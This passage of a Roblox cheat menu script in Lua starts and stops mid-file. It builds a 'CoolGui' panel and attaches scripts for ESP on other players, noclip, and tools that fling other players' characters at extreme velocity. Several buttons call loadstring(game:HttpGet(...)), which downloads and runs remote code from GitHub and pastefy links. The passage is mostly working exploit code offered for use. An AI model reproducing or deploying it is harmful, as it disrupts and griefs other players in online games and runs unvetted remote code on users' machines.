StarterGui.CoolGui.Frame.Page1.svd G2L["120"] = Instance.new("Frame", G2L["104"]); G2L["120"]["Active"] = true; G2L["120"]["BorderSizePixel"] = 3; G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["120"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["120"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["120"]["Name"] = [[svd]]; -- StarterGui.CoolGui.Frame.Page1.svd.SectionTitle G2L["121"] = Instance.new("TextLabel", G2L["120"]); G2L["121"]["BorderSizePixel"] = 3; G2L["121"]["TextSize"] = 14; G2L["121"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["121"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["121"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["121"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["121"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["121"]["Text"] = [[ClientSide Scripts]]; G2L["121"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["122"] = Instance.new("TextButton", G2L["120"]); G2L["122"]["BorderSizePixel"] = 3; G2L["122"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["122"]["TextSize"] = 14; G2L["122"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["122"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["122"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["122"]["Name"] = [[Button]]; G2L["122"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["122"]["Text"] = [[c00lify]]; G2L["122"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["123"] = Instance.new("LocalScript", G2L["122"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["124"] = Instance.new("TextButton", G2L["120"]); G2L["124"]["TextWrapped"] = true; G2L["124"]["BorderSizePixel"] = 3; G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["124"]["TextSize"] = 14; G2L["124"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["124"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["124"]["Name"] = [[Button]]; G2L["124"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["124"]["Text"] = [[Skeleton Sky (g00byd0lan)]]; G2L["124"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["125"] = Instance.new("LocalScript", G2L["124"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["126"] = Instance.new("TextButton", G2L["120"]); G2L["126"]["BorderSizePixel"] = 3; G2L["126"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["126"]["TextSize"] = 14; G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["126"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["126"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["126"]["Name"] = [[Button]]; G2L["126"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["126"]["Text"] = [[Disco Fog]]; G2L["126"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["127"] = Instance.new("LocalScript", G2L["126"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["128"] = Instance.new("TextButton", G2L["120"]); G2L["128"]["BorderSizePixel"] = 3; G2L["128"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["128"]["TextSize"] = 14; G2L["128"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["128"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["128"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["128"]["Name"] = [[Button]]; G2L["128"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["128"]["Text"] = [[666ify]]; G2L["128"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["129"] = Instance.new("LocalScript", G2L["128"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["12a"] = Instance.new("TextButton", G2L["120"]); G2L["12a"]["BorderSizePixel"] = 3; G2L["12a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12a"]["TextSize"] = 14; G2L["12a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12a"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["12a"]["Name"] = [[Button]]; G2L["12a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["12a"]["Text"] = [[Duck]]; G2L["12a"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["12b"] = Instance.new("LocalScript", G2L["12a"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["12c"] = Instance.new("TextButton", G2L["120"]); G2L["12c"]["BorderSizePixel"] = 3; G2L["12c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12c"]["TextSize"] = 14; G2L["12c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12c"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["12c"]["Name"] = [[Button]]; G2L["12c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["12c"]["Text"] = [[MLG Particles]]; G2L["12c"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["12d"] = Instance.new("LocalScript", G2L["12c"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["12e"] = Instance.new("TextButton", G2L["120"]); G2L["12e"]["BorderSizePixel"] = 3; G2L["12e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12e"]["TextSize"] = 14; G2L["12e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["12e"]["Name"] = [[Button]]; G2L["12e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["12e"]["Text"] = [[Suicide Vest]]; G2L["12e"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["12f"] = Instance.new("LocalScript", G2L["12e"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["130"] = Instance.new("TextButton", G2L["120"]); G2L["130"]["BorderSizePixel"] = 3; G2L["130"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["130"]["TextSize"] = 14; G2L["130"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["130"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["130"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["130"]["Name"] = [[Button]]; G2L["130"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["130"]["Text"] = [[Play Music]]; G2L["130"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["131"] = Instance.new("LocalScript", G2L["130"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["132"] = Instance.new("TextButton", G2L["120"]); G2L["132"]["BorderSizePixel"] = 3; G2L["132"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["132"]["TextSize"] = 14; G2L["132"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["132"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["132"]["ZIndex"] = 2; G2L["132"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["132"]["Name"] = [[Button]]; G2L["132"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["132"]["Text"] = [[Grab Knife]]; G2L["132"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["133"] = Instance.new("LocalScript", G2L["132"]); -- StarterGui.CoolGui.Frame.Page1.svd.Button G2L["134"] = Instance.new("TextButton", G2L["120"]); G2L["134"]["TextWrapped"] = true; G2L["134"]["BorderSizePixel"] = 3; G2L["134"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["134"]["TextSize"] = 14; G2L["134"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["134"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["134"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["134"]["Name"] = [[Button]]; G2L["134"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["134"]["Text"] = [[Brick Spam]]; G2L["134"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page1.svd.Button.LocalScript G2L["135"] = Instance.new("LocalScript", G2L["134"]); -- StarterGui.CoolGui.CloseOpen G2L["136"] = Instance.new("TextButton", G2L["1"]); G2L["136"]["BorderSizePixel"] = 3; G2L["136"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["136"]["TextSize"] = 18; G2L["136"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["136"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["136"]["ZIndex"] = 3; G2L["136"]["Size"] = UDim2.new(0, 300, 0, 20); G2L["136"]["Name"] = [[CloseOpen]]; G2L["136"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["136"]["Text"] = [[Close]]; G2L["136"]["Position"] = UDim2.new(0, 3, 0.3, 380); -- StarterGui.CoolGui.CloseOpen.cope G2L["137"] = Instance.new("LocalScript", G2L["136"]); G2L["137"]["Name"] = [[cope]]; -- StarterGui.CoolGui.Frame.left.LocalScript local function C_5() local script = G2L["5"]; local button = script.Parent button.MouseButton1Down:connect(function() if script.Parent.Parent.Page1.Visible == true then script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = true elseif script.Parent.Parent.Page2.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = true script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page3.Visible == true then script.Parent.Parent.Page2.Visible = true script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page4.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = true script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page5.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = true script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page6.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = true script.Parent.Parent.Page6.Visible = false end end) end; task.spawn(C_5); -- StarterGui.CoolGui.Frame.right.LocalScript local function C_7() local script = G2L["7"]; local button = script.Parent button.MouseButton1Down:connect(function() if script.Parent.Parent.Page1.Visible == true then script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page2.Visible = true script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page2.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = true script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page3.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = true script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page4.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = true script.Parent.Parent.Page6.Visible = false elseif script.Parent.Parent.Page5.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = true elseif script.Parent.Parent.Page6.Visible == true then script.Parent.Parent.Page1.Visible = true script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page3.Visible = false script.Parent.Parent.Page4.Visible = false script.Parent.Parent.Page5.Visible = false script.Parent.Parent.Page6.Visible = false end end) end; task.spawn(C_7); -- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen local function C_b() local script = G2L["b"]; local TweenService = game:GetService("TweenService") local page = script.Parent.Parent local sbutton = script.Parent local cango = true local closedPosition = UDim2.new(1, -300, 0, 0) local openPosition = UDim2.new(1, 3, 0, 0) local tweenTime = 0.5 local function togglePage() if not cango then return end cango = false if sbutton.Text == "<" then sbutton.Text = ">" local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = closedPosition}) tween:Play() tween.Completed:Wait() else sbutton.Text = "<" local tween = TweenService:Create(page, TweenInfo.new(tweenTime, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {Position = openPosition}) tween:Play() tween.Completed:Wait() end cango = true end sbutton.MouseButton1Click:Connect(togglePage) end; task.spawn(C_b); -- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript local function C_d() local script = G2L["d"]; local button = script.Parent local pge1 = game.CoreGui.CoolGui.Frame.Settings.Page local pge2 = game.CoreGui.CoolGui.Frame.Settings.Page2 button.MouseButton1Down:connect(function() if pge1.Visible == true then pge1.Visible = false pge2.Visible = true elseif pge2.Visible == true then pge2.Visible = false pge1.Visible = true end end) end; task.spawn(C_d); -- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript local function C_f() local script = G2L["f"]; local button = script.Parent local pge1 = game.CoreGui.CoolGui.Frame.Settings.Page local pge2 = game.CoreGui.CoolGui.Frame.Settings.Page2 button.MouseButton1Down:connect(function() if pge1.Visible == true then pge1.Visible = false pge2.Visible = true elseif pge2.Visible == true then pge2.Visible = false pge1.Visible = true end end) end; task.spawn(C_f); -- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript local function C_1c() local script = G2L["1c"]; local button = script.Parent local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local COREGUI = game:GetService("CoreGui") local LP = Players.LocalPlayer local ESPenabled = false local function CreateAllHighlight() for _, player in pairs(Players:GetPlayers()) do if player ~= LP and player.Character and not player.Character:FindFirstChild("Highlight") then local highlight = Instance.new("Highlight") highlight.Parent = player.Character highlight.FillColor = Color3.fromRGB(0, 225, 0) end end end local function UpdateAllHighlights() for _, player in pairs(Players:GetPlayers()) do if player ~= LP and player.Character then local highlight = player.Character:FindFirstChild("Highlight") if highlight then highlight.FillColor = Color3.fromRGB(0, 225, 0) end end end end local function ClearAllHighlights() for _, player in pairs(Players:GetPlayers()) do if player.Character then local highlight = player.Character:FindFirstChild("Highlight") if highlight then highlight:Destroy() end end end end -- ESP Creation local function CreateESP(player) if player.Character and player.Character:FindFirstChild("Head") then local ESPholder = Instance.new("Folder") ESPholder.Name = player.Name .. "_ESP" ESPholder.Parent = COREGUI local BillboardGui = Instance.new("BillboardGui") BillboardGui.Adornee = player.Character.Head BillboardGui.Name = player.Name BillboardGui.Parent = ESPholder BillboardGui.Size = UDim2.new(0, 100, 0, 150) BillboardGui.StudsOffset = Vector3.new(0, 1, 0) BillboardGui.AlwaysOnTop = true local TextLabel = Instance.new("TextLabel") TextLabel.Parent = BillboardGui TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0, -50) TextLabel.Size = UDim2.new(0, 100, 0, 100) TextLabel.Font = Enum.Font.SourceSansSemibold TextLabel.TextSize = 17 TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel.TextStrokeTransparency = 0.3 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom TextLabel.Text = '@' .. player.Name .. ' | ' .. player.DisplayName TextLabel.ZIndex = 10 end end local function RemoveESP(player) local ESP = COREGUI:FindFirstChild(player.Name .. "_ESP") if ESP then ESP:Destroy() end end button.MouseButton1Down:Connect(function() if button.Text == "Off" then ESPenabled = true CreateAllHighlight() UpdateAllHighlights() for _, player in pairs(Players:GetPlayers()) do if player ~= LP then RemoveESP(player) CreateESP(player) player.CharacterAdded:Connect(function() wait(2) CreateAllHighlight() UpdateAllHighlights() if ESPenabled then RemoveESP(player) CreateESP(player) end end) end end button.Text = "On" else ESPenabled = false ClearAllHighlights() for _, player in pairs(Players:GetPlayers()) do RemoveESP(player) end button.Text = "Off" end end) end; task.spawn(C_1c); -- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript local function C_24() local script = G2L["24"]; local button = script.Parent local RunService = game:GetService("RunService") local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:Wait() local noclipConnection button.MouseButton1Click:Connect(function() if button.Text == "Off" then if noclipConnection then noclipConnection:Disconnect() end noclipConnection = RunService.Stepped:Connect(function() if not character then return end for _, v in pairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end end) button.Text = "On" else if noclipConnection then noclipConnection:Disconnect() noclipConnection = nil end button.Text = "Off" end end) end; task.spawn(C_24); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_43() local script = G2L["43"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/refs/heads/main/f3x.lua"))() end) end; task.spawn(C_43); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_45() local script = G2L["45"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))() end) end; task.spawn(C_45); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_47() local script = G2L["47"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://pastefy.app/lawnvcTT/raw", true))() end) end; task.spawn(C_47); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_49() local script = G2L["49"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local plr = game.Players.LocalPlayer local tool = Instance.new("Tool", plr.Backpack) tool.GripPos = Vector3.new(0, 0, -1.5) tool.GripForward = Vector3.new(0, -1, 0) -- Adjusted to face upward tool.GripRight = Vector3.new(1, 0, 0) tool.GripUp = Vector3.new(0, 0, 1) tool.Name = "Punch" tool.TextureId = "rbxassetid://1545265044" tool.RequiresHandle = true tool.CanBeDropped = false local k = Instance.new("Part", tool) k.Name = "Handle" k.Size = Vector3.new(1, 0.8, 4) k.Anchored = false k.CanCollide = false local mesh = Instance.new("SpecialMesh", k) mesh.MeshId = "" -- Replace with your mesh ID mesh.TextureId = "" mesh.Scale = Vector3.new(0, 0, 0) mesh.Offset = Vector3.new(0, 0, 0) mesh.VertexColor = Vector3.new(1, 1, 1) local Unsheath = Instance.new("Sound", k) Unsheath.SoundId = "" Unsheath.Volume = "1" Unsheath.TimePosition = 0 local SwordSlash = Instance.new("Sound", k) SwordSlash.SoundId = "http://www.roblox.com/asset/?id=8595980577" SwordSlash.Volume = "1" SwordSlash.TimePosition = 0 local l = Instance.new("Animation", tool) l.AnimationId = "rbxassetid://204062532" local m = plr.Character.Humanoid:LoadAnimation(l) local db = true local da = false tool.Equipped:Connect(function() Unsheath:Play() wait(1) tool.Activated:Connect(function() if db == true then db = false SwordSlash:Play() m:Play() wait() da = true db = true wait(2) da = false m:Stop() end end) end) k.Touched:Connect(function(n) if da == true then local o = n.Parent:FindFirstChild("Humanoid") if o ~= nil then local p = game.Players:FindFirstChild(n.Parent.Name) for j = 1, 10 do if p.Name ~= "FunnyVideo15" then if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end end end end end wait(2) hiddenfling = false end) end) end; task.spawn(C_49); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_4b() local script = G2L["4b"]; local button = script.Parent button.MouseButton1Down:Connect(function() local plr = game.Players.LocalPlayer local tool = Instance.new("Tool", plr.Backpack) tool.GripPos = Vector3.new(0, 0, -1.5) tool.GripForward = Vector3.new(0, -1, 0) tool.GripRight = Vector3.new(1, 0, 0) tool.GripUp = Vector3.new(0, 0, 1) tool.Name = "ClassicSword" tool.TextureId = "rbxasset://Textures/Sword128.png" tool.RequiresHandle = true tool.CanBeDropped = true local k = Instance.new("Part", tool) k.Name = "Handle" k.Size = Vector3.new(1, 0.8, 4) k.Anchored = false k.CanCollide = false local mesh = Instance.new("SpecialMesh", k) mesh.MeshId = "rbxasset://fonts/sword.mesh" mesh.TextureId = "rbxasset://textures/SwordTexture.png" mesh.Scale = Vector3.new(1, 1, 1) -- Sounds local Sounds = { Equip = "rbxasset://sounds//unsheath.wav", -- Unsheath Slash = "rbxasset://sounds//swordslash.wav", -- Slash sound Lunge = "rbxasset://sounds//swordlunge.wav" -- Reuse slash for lunge or pick another } local SoundInstances = {} for name, id in pairs(Sounds) do local sound = Instance.new("Sound", k) sound.SoundId = id sound.Volume = 1 SoundInstances[name] = sound end -- Animations local humanoid = plr.Character:WaitForChild("Humanoid") local Animations = { Equip = "rbxassetid://94160581", Unequip = "rbxassetid://94095929", Slash1 = "rbxassetid://94161088", Slash2 = "rbxassetid://94161333", Lunge = "rbxassetid://94160738", Idle = "rbxassetid://94108418" } local LoadedAnims = {} for name, id in pairs(Animations) do local anim = Instance.new("Animation") anim.AnimationId = id LoadedAnims[name] = humanoid:LoadAnimation(anim) end -- State variables local attackState = 1 local canAttack = true local activeHit = false tool.Equipped:Connect(function() SoundInstances.Equip:Play() LoadedAnims.Equip:Play() -- Play idle animation after equip finishes LoadedAnims.Equip.Stopped:Connect(function() LoadedAnims.Idle:Play() end) tool.Activated:Connect(function() if not canAttack then return end canAttack = false activeHit = true LoadedAnims.Idle:Stop() -- Stop idle during attack if attackState == 1 then SoundInstances.Slash.Pitch = 1 SoundInstances.Slash:Play() LoadedAnims.Slash1:Play() elseif attackState == 2 then SoundInstances.Slash.Pitch = 1.17 SoundInstances.Slash:Play() LoadedAnims.Slash2:Play() else SoundInstances.Lunge:Play() LoadedAnims.Lunge:Play() end attackState = attackState % 3 + 1 wait(0.3) activeHit = false wait(0.3) canAttack = true LoadedAnims.Idle:Play() -- Resume idle after attack end) end) tool.Unequipped:Connect(function() LoadedAnims.Unequip:Play() LoadedAnims.Idle:Stop() end) -- Fling section untouched k.Touched:Connect(function(n) if activeHit then local o = n.Parent:FindFirstChild("Humanoid") if o ~= nil then local p = game.Players:FindFirstChild(n.Parent.Name) for j = 1, 10 do if p.Name ~= "FunnyVideo15" then if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true local detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end end end end end wait(2) hiddenfling = false end) end) end; task.spawn(C_4b); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_4d() local script = G2L["4d"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() backpack = game:GetService("Players").LocalPlayer.Backpack hammer = Instance.new("HopperBin") hammer.Name = "Hammer" hammer.BinType = 4 hammer.Parent = backpack cloneTool = Instance.new("HopperBin") cloneTool.Name = "Clone" cloneTool.BinType = 3 cloneTool.Parent = backpack grabTool = Instance.new("HopperBin") grabTool.Name = "Grab" grabTool.BinType = 2 grabTool.Parent = backpack end) end; task.spawn(C_4d); -- StarterGui.CoolGui.Frame.Page2.Section2.Button.LocalScript local function C_4f() local script = G2L["4f"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local plr = game.Players.LocalPlayer local tool = Instance.new("Tool", plr.Backpack) tool.GripPos = Vector3.new(0, 0, -2) tool.GripForward = Vector3.new(0, -1, 0) tool.GripRight = Vector3.new(1, 0, 0) tool.GripUp = Vector3.new(0, 0, 1) tool.Name = "Firebrand" tool.TextureId = "rbxassetid://81147983" tool.RequiresHandle = true tool.CanBeDropped = true local k = Instance.new("Part", tool) k.Name = "Handle" k.Size = Vector3.new(1, 0.8, 6) k.Anchored = false k.CanCollide = false local mesh = Instance.new("SpecialMesh", k) mesh.MeshId = "rbxasset://fonts/sword.mesh" mesh.TextureId = "rbxasset://textures/SwordTexture.png" mesh.Scale = Vector3.new(1.5, 1.5, 1.5) mesh.VertexColor = Vector3.new(0.5, 0, 0) -- Sounds local Sounds = { Equip = "rbxasset://sounds//unsheath.wav", Slash = "rbxasset://sounds//swordslash.wav", Lunge = "rbxasset://sounds//swordlunge.wav" } local SoundInstances = {} for name, id in pairs(Sounds) do local sound = Instance.new("Sound", k) sound.SoundId = id sound.Volume = 1 SoundInstances[name] = sound end -- Animations local humanoid = plr.Character:WaitForChild("Humanoid") local Animations = { Equip = "rbxassetid://94160581", Unequip = "rbxassetid://94095929", Slash1 = "rbxassetid://94161088", Slash2 = "rbxassetid://94161333", Lunge = "rbxassetid://94160738", Idle = "rbxassetid://94108418" } local LoadedAnims = {} for name, id in pairs(Animations) do local anim = Instance.new("Animation") anim.AnimationId = id LoadedAnims[name] = humanoid:LoadAnimation(anim) end local attackState = 1 local canAttack = true local activeHit = false tool.Equipped:Connect(function() SoundInstances.Equip:Play() LoadedAnims.Equip:Play() -- Play idle animation after equip finishes LoadedAnims.Equip.Stopped:Connect(function() LoadedAnims.Idle:Play() end) tool.Activated:Connect(function() if not canAttack then return end canAttack = false activeHit = true LoadedAnims.Idle:Stop() if attackState == 1 then 